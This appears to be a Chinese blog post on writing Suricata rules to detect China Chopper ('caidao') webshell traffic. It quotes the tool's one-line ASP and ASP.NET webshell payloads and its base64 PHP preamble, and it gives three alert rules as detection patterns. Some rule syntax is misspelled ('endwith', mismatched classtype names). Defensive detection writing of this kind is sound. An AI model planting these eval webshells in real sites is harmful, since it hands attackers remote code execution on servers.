suricata识别菜刀流量

一、捕获菜刀流量

payload特征:

PHP: 
​
ASP: <%eval request(“caidao”)%>
​
ASP.NET: <%@ Page
Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>

数据包流量特征:

1、请求包中:ua头为百度,火狐

2、请求体中存在eavl,base64等特征字符

3、请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J,解码出来是@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");

响应文的格式为

X@Y 结果 X@Y

二、分析特征

菜刀的流量由于没有进行加密,所以各类特征非常明显,以下规则均可以将菜刀进行识别

(1)响应里面存在->|作为响应正文的开头,响应的末尾以|<-结束

(2)请求正文部分至少存在@eavl(base64_decode($_POST[z0]));可以用来识别

(3)z0参数是一直存在的核心代码,所以z0的base64解码后的开头的代码:

@ini_set("display_errors", "0");@set_time_limit(0);@set_magic_quotes_runtime(0); ,所以,base64编码后的内容也是一样的

1、识别响应的开头和结束部分

alert http any any <> $HOME_NET 80 (msg:"菜刀-1";http.response_body;content:"|2d 3e 7c|";startswith;content:"|7c 3c 2d|";endwith;classtype:web-shell-attck;sid:5618001;rev:1;)

2、识别非base64部分

alert http any any -> $HOME_NET 80 (msg:"菜刀-2";content:"eval";http_client_body;pcre:"/base64_decode.+POST.+z0=/i";classtype:webshell-attck;sid:5618002;rev:1;)

3、对base64进行识别

alert http any any <> $HOME_NET 80 (msg:"菜刀-3";content:"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0B";http_client_body;classtype:web-shell-attck;sid:5618003;rev:1;)

其中第2条规则和第3条规则可以合并一下

其他webshell管理工具可以参考下面文章编写相关suricata规则

参考:webshell管理工具及其流量特征分析_webshell管理工具流量特征_Goodric的博客-CSDN博客

你可能感兴趣的:(suricata,网络安全,安全,安全威胁分析)